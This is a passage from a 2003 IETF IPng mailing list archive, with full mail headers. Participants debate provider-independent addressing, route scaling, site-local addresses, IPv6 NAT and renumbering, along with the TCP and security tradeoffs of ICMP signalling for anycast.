> > >using, since it would upset their customers. But they should be able to do it
> > >for the PI routes coming from elsewhere. And the ISPs could do this type of
> > >filtering on the PI space from day one - "pay me money if you want me to
> > >carry your PI route" - on an individual ISP basis.
> > >
> > >Could this work?
> > >
> > >I think, but I'm not sure, that this assumes that we will have a scalable PI
> > >scheme some time in the future (presumably by separating PI identifiers
> > >from PA locators).
> > >
> > >   Erik
> > >
> > >
> > >--------------------------------------------------------------------
> > >IETF IPng Working Group Mailing List
> > >IPng Home Page:                      http://playground.sun.com/ipng
> > >FTP archive:                      ftp://playground.sun.com/pub/ipng
> > >Direct all administrative requests to majordomo@sunroof.eng.sun.com
> > >--------------------------------------------------------------------
> >
> >
> > --------------------------------------------------------------------
> > IETF IPng Working Group Mailing List
> > IPng Home Page:                      http://playground.sun.com/ipng
> > FTP archive:                      ftp://playground.sun.com/pub/ipng
> > Direct all administrative requests to majordomo@sunroof.eng.sun.com
> > --------------------------------------------------------------------
> >
>

*********************************
Madrid 2003 Global IPv6 Summit
12-14 May 2003 - Pre-register at:
http://www.ipv6-es.com
Interested in participating or sponsoring ?
Contact us at ipv6@consulintel.es


--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan 27 12:38:09 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0RKc816027812;
	Mon, 27 Jan 2003 12:38:09 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0RKc8q7027811;
	Mon, 27 Jan 2003 12:38:08 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0RKc516027801
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 12:38:05 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0RKcDVL003477
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 12:38:13 -0800 (PST)
Received: from devil.pp.htv.fi (cs78149057.pp.htv.fi [62.78.149.57])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA15189
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 13:38:07 -0700 (MST)
Received: from devil.pp.htv.fi (localhost [127.0.0.1])
	by devil.pp.htv.fi (8.12.7/8.12.7/Debian-2) with ESMTP id h0RKbkxA014889;
	Mon, 27 Jan 2003 22:37:46 +0200
Received: (from liljeber@localhost)
	by devil.pp.htv.fi (8.12.7/8.12.7/Debian-2) id h0RKbgpq014888;
	Mon, 27 Jan 2003 22:37:42 +0200
X-Authentication-Warning: devil.pp.htv.fi: liljeber set sender to mika.liljeberg@welho.com using -f
Subject: Re: a few comments on anycast mechanisms
From: Mika Liljeberg <mika.liljeberg@welho.com>
To: Pekka Savola <pekkas@netcore.fi>
Cc: Brian Haberman <bkhabs@nc.rr.com>, ipng@sunroof.eng.sun.com
In-Reply-To: <Pine.LNX.4.44.0301271724170.14310-100000@netcore.fi>
References: <Pine.LNX.4.44.0301271724170.14310-100000@netcore.fi>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
Organization: 
Message-Id: <1043699861.14301.58.camel@devil>
Mime-Version: 1.0
X-Mailer: Ximian Evolution 1.2.1 
Date: 27 Jan 2003 22:37:41 +0200
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Hi Pekka,

On Mon, 2003-01-27 at 17:40, Pekka Savola wrote:
> On Mon, 27 Jan 2003, Brian Haberman wrote:
> > >>>My own, very raw idea for anycast + TCP: a new ICMP message, including the
> > >>>seq number (or equivalent protocol-specific information)  of the
> > >>>just-received TCP SYN, indicating the unicast address which should be used
> > >>>instead of the included anycast address.
> > >>
> > >>My original thought was to signal back the mapping using ICMP.  The
> > >>mapping authentication capability of the RR procedure gives a better
> > >>level of security than a plain ICMP message.
> > > 
> > > 
> > > I agree with you here .. but ICMP could give you enough strong 
> > > authorization with basically zero added messages.

Not necessarily. If the TCP anycast server were to send the ICMP
back-to-back with the SYN-ACK, any reordering in the network would cause
the TCP client to send back an RST, deleting the TCB at the server. This
would be followed by a SYN retransmission to the anycast address 3
seconds later.

If the RST happened to experience a significant delay in the network,
the retransmitted SYN might even overtake the RST, in which case the
newly formed connection would be immediately deleted by the delayed RST.

This approach would also double the probability of a costly
retransmission in case of packet loss, since losing either the ICMP or
the SYN-ACK would cause a SYN retransmission to the anycast address.

On the other hand, if the anycast TCP server refrained from sending
SYN-ACK after the ICMP, the TCP client would have to retransmit the SYN
to the new address.

So, not necessarily zero cost or zero added messages.

> > 
> > In order for the client to verify the authentication information in
> > the ICMP message, we would need a key distribution mechanism.
> 
> No.  ICMP would contain critical parts of the TCP header, including TCP 
> sequence number.  This, and the state the initiator has about that 
> particular connection would be enough.

This smacks too much like a layer violation to me. If TCP must be
modified to support this, might as well go all the way and do it as a
TCP SYN option that is legal with SYN-ACK only (although that would
slurp up half the available option space).

Either way, this would still make the TCP "security" weaker, because it
would make it possible (by guessing the ISN) to high-jack both
directions of a TCP connection, rather than just one. Needless to say,
this would be a lot more valuable to the attacker.

However, it would be preferable not to have to have to modify TCP at
all. Maintaining the binding at TCP level would simply be a pain. The
better option would seem to be to hide the address change from TCP by
employing a routing header and something similar to the home address
option. Might as well require that all hosts sporting TCP servers at
anycast addresses must also support MIPv6.

	MikaL

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan 27 12:45:39 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0RKjd16027959;
	Mon, 27 Jan 2003 12:45:39 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0RKjc7L027958;
	Mon, 27 Jan 2003 12:45:38 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0RKjZ16027945
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 12:45:35 -0800 (PST)
Received: from nwkea-mail-1.sun.com ([192.18.42.13])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0RKjhVL005880
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 12:45:43 -0800 (PST)
Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11])
	by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id MAA00203
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 12:45:38 -0800 (PST)
Received: from IDLEWYLDE.windriver.com ([147.11.233.63])
	by mail.wrs.com (8.9.3/8.9.1) with ESMTP id MAA05615;
	Mon, 27 Jan 2003 12:44:35 -0800 (PST)
Message-Id: <5.1.0.14.2.20030127143841.03687290@mail.windriver.com>
X-Sender: mrw@mail.windriver.com
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Mon, 27 Jan 2003 14:53:20 -0500
To: Tim Hartrick <tim@mentat.com>
From: Margaret Wasserman <mrw@windriver.com>
Subject: RE: Enforcing unreachability of site local addresses
Cc: ipng@sunroof.eng.sun.com, michel@arneill-py.sacramento.ca.us
In-Reply-To: <200301271856.KAA22925@feller.mentat.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk



Hi Tim,

Not to pick on you... You are making some excellent points, and I
want to make sure I understand them.

>And, I have serious doubts that
>they will ever scale.  But, if that is the case and we are going to be
>forbidden from seeking other solutions that involve site-local addressing and
>renumbering then we have one hell of a pickle here.

Can you explain how site-local addresses and renumbering will actually
solve the route scaling issues in IPv6 and simultaneously avoid IPv6 NAT?
If so, I certainly wouldn't want to forbid it...

I think it is  extremely likely (virtually certain) that, unless we can
come up with a better way to achieve provider independence, we will get
site-local addressing used behind IPv6 NAT boxes (like RFC 1918 addresses
in IPv4).

People are employing IPv4 NAT today to get provider-independence, and I
see no reason to believe that this will change in IPv6 unless we come
up with a better (less technically damaging) answer.  But, obviously
it won't do any good to come up with an answer that destroys the
routing system...

In the meantime, though, I am afraid that we will force the use of IPv6
NAT (by continuing with our PA address allocation policies), when there
is currently no immediate concern regarding scaling of IPv6 backbone
routers.

Margaret


--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan 27 13:55:08 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0RLt816028307;
	Mon, 27 Jan 2003 13:55:08 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0RLt8LO028306;
	Mon, 27 Jan 2003 13:55:08 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0RLt416028299
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 13:55:04 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0RLtDVL029428
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 13:55:13 -0800 (PST)
Received: from TheWorld.com (pcls1.std.com [199.172.62.103])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id OAA15647
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 14:55:05 -0700 (MST)
Received: from shell.TheWorld.com (cpd@shell01.TheWorld.com [199.172.62.241])
	by TheWorld.com (8.9.3/8.9.3) with ESMTP id QAA07319
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 16:54:59 -0500
Received: from localhost (qqi@localhost)
	by shell.TheWorld.com (8.9.3/8.9.3) with ESMTP id QAA93823228
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 16:54:59 -0500 (EST)
X-Authentication-Warning: shell01.TheWorld.com: qqi owned process doing -bs
Date: Mon, 27 Jan 2003 16:54:59 -0500
From: Quality Quorum <qqi@theworld.com>
To: ipng@sunroof.eng.sun.com
Subject: Re: Enforcing unreachability of site local addresses
Message-ID: <Pine.SGI.4.40.0301271654000.108158336-100000@shell01.TheWorld.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk



> >
> > I think that we should find a way to return to stable, globally-routable,
> > provider-independent addresses that are allocated to homes & enterprises.
> > Addresses that do not change when you change ISPs, and that cannot be
> > changed by your ISP.  Real PI addresses.  Just like the original addresses
> > allocated in IPv4.
>
> But the problem remains as hard as it was in 1992. We don't know how
> to aggregate routes for such addresses, and we don't know how to scale
> the routing system without aggregation. Solve either of those
> problems and you're done.

I do not think that it is possible without counting routes in the
billions. The thing which is doable is to assign moveable transport-bound
addresses + independent non-globally-visible and non-globally unique
permanent local addresses + NAT, with DNS names being the only fixed
points in this permanently shifting environment.

>
>    Brian

Thanks,

Aleksey

> --------------------------------------------------------------------
> IETF IPng Working Group Mailing List
> IPng Home Page:                      http://playground.sun.com/ipng
> FTP archive:                      ftp://playground.sun.com/pub/ipng
> Direct all administrative requests to majordomo@sunroof.eng.sun.com
> --------------------------------------------------------------------
>


--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan 27 14:26:37 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0RMQa16028519;
	Mon, 27 Jan 2003 14:26:36 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0RMQaBN028518;
	Mon, 27 Jan 2003 14:26:36 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0RMQX16028511
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 14:26:33 -0800 (PST)
Received: from nwkea-mail-1.sun.com ([192.18.42.13])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0RMQfVK024960
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 14:26:41 -0800 (PST)
Received: from SERVER2000.arneill-py.sacramento.ca.us (adsl-209-233-126-65.dsl.scrm01.pacbell.net [209.233.126.65])
	by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA10524
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 14:26:36 -0800 (PST)
Content-class: urn:content-classes:message
Subject: RE: Enforcing unreachability of site local addresses
Date: Mon, 27 Jan 2003 14:26:36 -0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Message-ID: <963621801C6D3E4A9CF454A1972AE8F54B6E@server2000.arneill-py.sacramento.ca.us>
X-MS-Has-Attach: 
x-mimeole: Produced By Microsoft Exchange V6.5.6803.0
X-MS-TNEF-Correlator: 
Thread-Topic: Enforcing unreachability of site local addresses
Thread-Index: AcLGQt2/yR8dsXGiRviWHR3Byix6ZgAD4Ytg
From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "Dan Lanciani" <ipng-incoming@danlan.com>, <ipng@sunroof.eng.sun.com>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id h0RMQX16028512
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Dan,

>> Michel Py wrote:
>> One billion routes in the global routing table = does not scale.

> This is the main fallacy in your statement.  You are assuming
> that a billion PI address blocks has to equate to a billion
> routes in some global routing table (or even that there has to
> *be* a global table).  That would be the case only if we insist
> on remaining with a full-knowledge centralized routing model.

Assuming? Hello? This exactly what PI is. If there is no central routing
it's not PI anymore. PI is what we have _today_.


> Such models are outdated.  We can do better.

Why don't you write something about it? The entire world is waiting for
it.

Michel.


--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan 27 14:53:30 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0RMrU16028692;
	Mon, 27 Jan 2003 14:53:30 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0RMrTR0028691;
	Mon, 27 Jan 2003 14:53:29 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0RMrQ16028684
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 14:53:26 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0RMrZVK003427
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 14:53:35 -0800 (PST)
Received: from ss10.danlan.com (ss10.danlan.com [199.33.144.62])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id PAA15358
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 15:53:28 -0700 (MST)
Received: (from ddl@localhost)
	by ss10.danlan.com (8.9.3/8.9.3) id RAA09801;
	Mon, 27 Jan 2003 17:53:23 -0500 (EST)
Date: Mon, 27 Jan 2003 17:53:23 -0500 (EST)
From: Dan Lanciani <ipng-incoming@danlan.com>
Message-Id: <200301272253.RAA09801@ss10.danlan.com>
To: ipng@sunroof.eng.sun.com
Subject: RE: Enforcing unreachability of site local addresses
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

"Michel Py" <michel@arneill-py.sacramento.ca.us> wrote:

|>> Michel Py wrote:
|>> One billion routes in the global routing table = does not scale.
|
|> This is the main fallacy in your statement.  You are assuming
|> that a billion PI address blocks has to equate to a billion
|> routes in some global routing table (or even that there has to
|> *be* a global table).  That would be the case only if we insist
|> on remaining with a full-knowledge centralized routing model.
|
|Assuming? Hello? This exactly what PI is. If there is no central routing
|it's not PI anymore. PI is what we have _today_.

You are confusing the portability attribute of the address with the
implementation of its routing.  By the definition you chose, PI is a
type of address.  It is not a routing mechanism.

You have also declined to define what you would consider acceptable
scalability.  You seem to be saying that you aren't happy with a solution
unless it allows yesterday's archaic routing protocols running on today's
hardware to handle the projected growth of the next decade.  Such a
requirement constrains the solution beyond any hope of progress.

|> Such models are outdated.  We can do better.
|
|Why don't you write something about it?

I have written about it, most recently in 1999.  Why don't you read about
it in the archives?

|The entire world is waiting for
|it.

The world, perhaps.  But it is never a popular topic on this list...

				Dan Lanciani
				ddl@danlan.*com
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan 27 15:31:31 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0RNVV16028899;
	Mon, 27 Jan 2003 15:31:31 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0RNVVnk028898;
	Mon, 27 Jan 2003 15:31:31 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0RNVQ16028891
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 15:31:27 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0RNVZVK015182
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 15:31:35 -0800 (PST)
Received: from roll.mentat.com (mentat.com [192.88.122.129])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id QAA01284
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 16:31:28 -0700 (MST)
Received: from leo.mentat.com (leo [192.88.122.132])
	by roll.mentat.com (8.9.1b+Sun/8.9.1) with ESMTP id PAA04371;
	Mon, 27 Jan 2003 15:32:24 -0800 (PST)
Received: from feller.mentat.com (feller [192.88.122.144])
	by leo.mentat.com (8.9.1b+Sun/8.9.1) with ESMTP id PAA07907;
	Mon, 27 Jan 2003 15:32:25 -0800 (PST)
Received: (from tim@localhost)
	by feller.mentat.com (8.9.3+Sun/8.9.3) id PAA23100;
	Mon, 27 Jan 2003 15:36:04 -0800 (PST)
Date: Mon, 27 Jan 2003 15:36:04 -0800 (PST)
From: Tim Hartrick <tim@mentat.com>
Message-Id: <200301272336.PAA23100@feller.mentat.com>
To: mrw@windriver.com
Subject: RE: Enforcing unreachability of site local addresses
Cc: ipng@sunroof.eng.sun.com, michel@arneill-py.sacramento.ca.us
X-Sun-Charset: US-ASCII
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk





Margaret,

> 
> Not to pick on you... You are making some excellent points, and I
> want to make sure I understand them.
> 
> >And, I have serious doubts that
> >they will ever scale.  But, if that is the case and we are going to be
> >forbidden from seeking other solutions that involve site-local addressing and
> >renumbering then we have one hell of a pickle here.
> 
> Can you explain how site-local addresses and renumbering will actually
> solve the route scaling issues in IPv6 and simultaneously avoid IPv6 NAT?
> If so, I certainly wouldn't want to forbid it...
> 

Trying to develop a painless renumbering mechanism, whether using site-local
addresses or some other form of private addresses, won't solve route scaling.
By developing such a mechanism we are explicitly admitting that we can't
solve it.  By developing it, we are admitting that PA addresses are the best
we can do and consequently, if we want to avoid NAT, we need to address the
problems that motivate enterprises and users to use NAT.  My experience tells
me that the major drivers for NAT deployment in the IPv4 world are; address
scarcity (real or manufactured) and address stability concerns.  If we can
provide stable addresses for internal communication and allow for easy re-
numbering then we can provide some help in these areas.  Internal communication
can continue and internal configuration can be preserved across a renumbering
event thus addressing the stability concerns.  If in fact the IPv6 address
space is large enough to remove the possibility of real scarcity then we are
left with the battle against manufactured scarcity.  What drives manufactured
scarcity is the desire of ISPs to charge for address space as a proxy for band-
width usage or in some cases just because they can.  If I, as small business
owner or home user, can trivially move to another provider when the cost of
global address space gets too high, I won't be tempted to insert a NAT box
between me and my provider to protect myself against the equally awful choices
of arbitrary increased cost or manual renumbering of my network.  Similarly, the
ISP will have less incentive to manufacture scarcity since it will do no good.
Their customers will simply move to another provider and renumber.  The other
thing which needs to happen to prevent NAT is that compelling applications that
don't work well with NAT need to be developed and deployed.  We have very few
sticks to use against NAT so we need to work really hard on the carrots.

Admittedly, solving renumbering for the general case is really hard.  The
hardcoding of IP addresses in all sorts of configuration files is a long and
storied tradition.  It will take some serious work to tease out all these
usages and replace them with more appropriate mechanisms.  We started down the
path with RFC 2894 and the A6 work.  But that was really just the beginning of
the work.  It may in fact not be possible to nail this problem or it could take
a long time to do it.  It is also possible that market forces won't work as
described above.  Dan may well be correct that oligopoly will prevent real
competition from existing and consequently ISPs will be able to manufacture
scarcity regardless how easy it is for customers to change providers.  However,
if all we have and all we can hope to have are PA addresses then, if we are
committed to not reliving the IPv4 NAT experience, we better get a move on.

The alternative of rearchitecting the routing system to allow for truely PI
addressing is obviously more attractive than solving renumbering.  Un-
fortunately, the problem may be no easier than solving renumbering and ISPs
that profit from the current architecture may be resistent to the solution
even if it is viable.  I can't speak to the probability if success in
addressing the technological and political portions of this problem.

There may well be other alternatives to the above two paths, but what is clear
to me is that unless we get a move on with something serious, IPv6 NAT is a
certainty.  It may well happen no matter what we do simply because of built up
technological inertia, but it is an absolute certainty if the status quo of
doing nothing continues.



Tim Hartrick
Mentat Inc.
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan 27 17:17:22 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0S1HM16029390;
	Mon, 27 Jan 2003 17:17:22 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0S1HMLK029389;
	Mon, 27 Jan 2003 17:17:22 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0S1HI16029382
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 17:17:18 -0800 (PST)
Received: from nwkea-mail-2.sun.com ([192.18.42.14])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0S1HIVL002512
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 17:17:18 -0800 (PST)
Received: from SERVER2000.arneill-py.sacramento.ca.us (adsl-209-233-126-65.dsl.scrm01.pacbell.net [209.233.126.65])
	by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id RAA08162
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 17:17:12 -0800 (PST)
Content-class: urn:content-classes:message
Subject: RE: Enforcing unreachability of site local addresses
Date: Mon, 27 Jan 2003 17:17:10 -0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Message-ID: <963621801C6D3E4A9CF454A1972AE8F54B6F@server2000.arneill-py.sacramento.ca.us>
X-MS-Has-Attach: 
x-mimeole: Produced By Microsoft Exchange V6.5.6803.0
X-MS-TNEF-Correlator: 
Thread-Topic: Enforcing unreachability of site local addresses
Thread-Index: AcLGNTshYNM7ATxuRy6AbRNWhwgQoAAHo9JA
From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "Tim Hartrick" <tim@mentat.com>, <ipng@sunroof.eng.sun.com>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id h0S1HJ16029383
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Tim,

> Tim Hartrick wrote:
> given the current centralized routing architecture, PI
> addresses don't scale.  And, I have serious doubts that
> they will ever scale.
> But, if that is the case and we are going to be forbidden from
> seeking other solutions that involve site-local addressing and
> renumbering then we have one hell of a pickle here.  In that
> case NAT is inevitable because small and medium size enterprises
> that can't pass them- selves off as providers will simply refuse
> to be held hostage by an ISP and home users will not pay extra
> for something that should be free.

You are giving up too early. Yes, PI is unlikely to scale (if it could,
we would have a clue on how to do it by now). Yes, if we don't give
*something* that provides the perks of PI, NAT is inevitable. Now, that
something does *not* need to be PI, it just needs to be close enough.

> All these various ***PI addresses that have been referenced
> recently on this list have no definition in a draft of RFC so
> trying to address their properties for solving the current
> problem set is fruitless.  In the limit all of them amounted
> to being private address space with varying degrees of
> potential for collision and varying degrees of routability
> outside the organization.

None of what has been floating around recently had a goal to provide a
replacement for PI. There was to trends for site-locals, one that would
make them unusable for connected site, the other one that would make
them unique in order to facilitate site mergers. There has been some
vague discussions about non site-local unique addresses, but nothing
concrete.

Solutions that propose a replacement to PI are and have always been part
of the multihoming realm.

Michel.


--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan 27 17:36:08 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0S1a7Qb029624;
	Mon, 27 Jan 2003 17:36:07 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0S1a7og029623;
	Mon, 27 Jan 2003 17:36:07 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0S1a4Qb029614
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 17:36:04 -0800 (PST)
Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0S1a3VL007850
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 17:36:03 -0800 (PST)
Received: from SERVER2000.arneill-py.sacramento.ca.us (adsl-209-233-126-65.dsl.scrm01.pacbell.net [209.233.126.65])
	by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id SAA06918
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 18:35:58 -0700 (MST)
Content-class: urn:content-classes:message
Subject: RE: Enforcing unreachability of site local addresses
Date: Mon, 27 Jan 2003 17:35:57 -0800
